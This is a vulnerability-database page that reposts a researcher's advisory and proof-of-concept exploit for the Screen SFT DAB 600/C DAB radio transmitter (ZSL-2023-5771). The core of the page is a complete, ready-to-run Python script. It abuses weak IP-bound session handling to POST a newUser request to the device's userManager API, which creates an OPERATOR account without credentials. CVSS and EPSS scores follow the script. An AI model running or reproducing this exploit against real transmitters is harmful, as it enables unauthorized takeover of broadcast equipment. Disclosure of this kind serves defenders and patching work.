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Screen SFT DAB 600/C Authentication Bypass Account Creation Exploit

๐Ÿ—“๏ธย 13 May 2023ย 00:00:00Reported byย Gjoko KrsticTypeย 
zeroscience
ย zeroscience๐Ÿ”—ย www.zeroscience.mk๐Ÿ‘ย 288ย Views

Screen SFT DAB 600/C weak session management allows unauthorized request

Related
Code
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<html><body><p>#!/usr/bin/env python3
#
#
# Screen SFT DAB 600/C Authentication Bypass Account Creation Exploit
#
#
# Vendor: DB Elettronica Telecomunicazioni SpA
# Product web page: https://www.screen.it | https://www.dbbroadcast.com
#                   https://www.dbbroadcast.com/products/radio/sft-dab-series-compact-air/
# Affected version: Firmware: 1.9.3
#                   Bios firmware: 7.1 (Apr 19 2021)
#                   Gui: 2.46
#                   FPGA: 169.55
#                   uc: 6.15
#
# Summary: Screen's new radio DAB Transmitter is reaching the highest
# technology level in both Digital Signal Processing and RF domain.
# SFT DAB Series - Compact Radio DAB Transmitter - Air. Thanks to the
# digital adaptive precorrection and configuatio flexibility, the Hot
# Swap System technology, the compactness and the smart system design,
# the SFT DAB are advanced transmitters. They support standards DAB,
# DAB+ and T-DMB and are compatible with major headend brands.
#
# Desc: The application suffers from a weak session management that can
# allow an attacker on the same network to bypass these controls by reusing
# the same IP address assigned to the victim user (NAT) and exploit crucial
# operations on the device itself. By abusing the IP address property that
# is binded to the Session ID, one needs to await for such an established
# session and issue unauthorized requests to the vulnerable API to manage
# and/or manipulate the affected transmitter.
#
# Tested on: Keil-EWEB/2.1
#            MontaVistaยฎ Linuxยฎ Carrier Grade eXpress (CGX)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2023-5771
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5771.php
#
#
# 19.03.2023
#

import hashlib,datetime##########
import requests,colorama#########
from colorama import Fore, Style#
colorama.init()
print(Fore.RED+Style.BRIGHT+
    '''
โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  
โ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆ      โ–ˆโ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆ      โ–ˆโ–ˆ   โ–ˆโ–ˆ 
โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ  โ–ˆโ–ˆ โ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  
โ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆ      โ–ˆโ–ˆ  โ–ˆโ–ˆ  โ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ  โ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆ      โ–ˆโ–ˆ   โ–ˆโ–ˆ 
โ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆ      โ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ   โ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆ   โ–ˆโ–ˆ 
    '''
    +Style.RESET_ALL)
print(Fore.WHITE+Style.BRIGHT+
    '''
            ZSL and the Producers insist that no one
           submit any exploits of themselfs or others
              performing any dangerous activities.
                 We will not open or view them.
    '''
    +Style.RESET_ALL)
s=datetime.datetime.now()
s=s.strftime('%d.%m.%Y %H:%M:%S')
print('Starting API XPL -',s)
t=input('Enter transmitter ip: ')
u=input('Enter desired username: ')
p=input('Enter desired password: ')
e='/system/api/userManager.cgx'
m5=hashlib.md5()
m5.update(p.encode('utf-8'))
h=m5.hexdigest()
print('Your sig:',h)
print('Calling object: ssbtObj')
print('CGX fastcall: userManager::newUser')
t='http://'+t+e
bh={'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept':'application/json, text/plain, */*',
    'Accept-Language':'ku-MK,en;q=0.9',
    'Accept-Encoding':'gzip, deflate',
    'User-Agent':'Dabber++',
    'Connection':'close'}
j={'ssbtIdx':0,
   'ssbtType':'userManager',
   'ssbtObj':{
             'newUser':{
                       'password':h,
                       'type':'OPERATOR',
                       'username':u
                       }
             },
   }
r=requests.post(t,headers=bh,json=j)
if r.status_code==200:
    print('Done.')
else:
    print('Error')
exit(-5)
</p></body></html>

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13 May 2023 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.15.7
EPSS0.00343
screen sft dab 600/cweak session managementunauthorized requestsnatexploitsecurity bypassfirmwarebiosguifpgavendorcve-2023-33684
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